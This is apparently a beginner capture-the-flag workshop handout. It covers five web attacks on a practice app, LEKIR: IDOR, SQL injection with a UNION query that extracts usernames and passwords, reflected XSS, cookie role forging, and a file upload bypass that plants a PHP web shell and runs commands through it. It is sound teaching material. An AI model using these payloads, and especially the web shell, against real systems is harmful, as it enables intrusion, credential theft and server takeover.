HACKNYX

Web Exploitation: Participant Handout

Written by someone who's been exactly where you're sitting right now.

Before We Start

Okay, real talk: you don't need to know anything about hacking to get through today. Seriously. Every single bug in this handout works because a website trusted something it should never have trusted, and once you see that pattern once, you'll start seeing it everywhere.

You'll be given a URL at the start of the session. That's your target for the day, a playground app called LEKIR that's built specifically to be broken. Keep the security level set to Low for every chapter today (there are harder versions if you want to come back and torture yourself later).

No installs, no setup headaches. Everything below happens in your browser's address bar and the dev tools that are already built into it. If your laptop can open a webpage, you're already fully equipped.

Chapter 1: IDOR (Broken Access Control)

The idea: if an app shows you a record by its ID number, what happens if you just... change the number?

1. Visit your own record:

```
<PROVIDED-URL>/vulnerabilities/idor/idor.php?statement=006
```

2. Now change the number in the URL to someone else's, for example:

```
<PROVIDED-URL>/vulnerabilities/idor/idor.php?statement=466
```

3. See what comes back. Then get curious: try a few other numbers on your own and see whose "private" stuff shows up.

Real talk: *there's no login bypass, no tool, nothing fancy here. This is 100% about noticing that the app never checks whether the record actually belongs to you. Half of hacking is just being nosy in the right places.*

Chapter 2: SQL Injection

The idea: the app builds a database query directly out of whatever you type, so if you're clever about what you type, you can change what the query actually does.

Part A: Breaking the query

4. In the Search for User ID box — the same one you'll use in Part B — drop this in first:

```
' OR '1'='1
```

5. That single quote closes off the condition the app was expecting, and "OR '1'='1" tacks on something that's always true, so the query hands back every matching record instead of just the one you asked for.

Part B: Pulling data out with UNION

6. Open the SQL Injection chapter:

```
<PROVIDED-URL>/vulnerabilities/sql_injection/sqlinjectionlow.php
```

7. First, work out how many columns the original query returns. Try each of these in the same box, one at a time, increasing the number:

```
1' ORDER BY 1 -- - 1' ORDER BY 2 -- - 1' ORDER BY 3 -- - 1' ORDER BY 4 -- -
```

The last number that doesn't throw an error is your column count. Once one of them errors out (something like "Unknown column"), the previous number was the real total.

8. Now build a UNION SELECT using that many columns, smuggling your own row into the results, for example:

```
1' UNION SELECT 1, user_name, user_password FROM user -- -
```

9. Get it right and you'll see extra usernames and their password data pulled straight out of the database, sitting right in the results in front of you — whatever that data looks like (hashed, encoded, or otherwise) depends on what's seeded in the database for tonight's session.

Real talk: *if you don't know where to even start, throw a single ' into the input box first and see if it breaks the page. A broken page is basically the app waving its hand and saying "try me."*

Chapter 3: Reflected XSS

The idea: text you type into a form gets echoed straight back into the page, unescaped, so instead of just showing your text, the browser runs it as actual code.

10. Open the Reflected XSS chapter:

```
<PROVIDED-URL>/vulnerabilities/xss/xssreflectedlow.php
```

11. In the Search box, type exactly:

```
<script>alert(1)</script>
```

12. Hit submit. A little browser alert box should pop up on screen showing "1".

Real talk: *that popup is deliberately harmless, but don't let "just an alert box" fool you. Anywhere JavaScript can read cookies, redirect a tab, or submit a form pretending to be you, this exact technique can do it too.*

Chapter 4: Cookie Manipulation

The idea: some apps store a trust decision, like your role on the site, in a cookie sitting on your own machine, and just believe whatever's written there.

13. Open the Cookie Manipulation chapter:

```
<PROVIDED-URL>/vulnerabilities/cookie/cookielow.php
```

14. Pop open your browser's DevTools (F12), head to the Storage / Application tab, and find the Cookies for this site.

15. Find the cookie named user_role and change its value to:

```
admin
```

16. Reload the page. You should now see: "Welcome, Admin! You have full access now."

Real talk: *nothing was "hacked" in the dramatic movie hacker sense here. The app just trusted a value that was sitting in your own browser the entire time, fully editable by you. Wild that it's this simple, right?*

Chapter 5: File Upload

The idea: an upload form is only supposed to accept images, but it's checking what your browser claims the file is, not what the file actually is.

The payload

17. Prepare a file with a short, one line PHP script that runs whatever command you tell it to:

```
<?php system($_GET['cmd']); ?>
```

Bypassing the filter

18. Try uploading it as is to the Medium File Upload chapter. It'll get rejected, since it's obviously not an image.

19. Using your browser's dev tools (or an intercepting proxy), resend that same upload, but change the declared file type to something like image/png, while quietly keeping the filename ending in .php.

20. If the filter only checks the label and not what's actually inside the file, the upload sails through and the page will tell you exactly where it saved your file.

Triggering the shell

21. Take the saved file's path from the success message and open it in your browser, adding a cmd parameter set to any command you want to run, for example:

```
<upload-path>?cmd=id
```

22. If it worked, the page prints back the result of that command. That's it, you're now executing commands on the server.

Real talk: *once id works, poke around with ?cmd=whoami or ?cmd=pwd and see what else you can learn. This is usually the moment in the room where someone gasps out loud.*

Wrap Up

Zoom out for a second and look at the pattern across all five chapters. Every single bug today came from the same root cause: the app trusted something the client sent it. A URL parameter, a form field, a cookie, a declared file type. Nobody double checked any of it.

That's genuinely most of web hacking. Not magic, not movie hacker typing, just asking "wait, why did it trust that?" over and over again.

Want to keep the momentum going after today? These all cover the same bug classes with fresh challenges to practice on:

- picoCTF
- TryHackMe
- HackTheBox's Starting Point track

Have fun, break stuff (responsibly), and welcome to the club.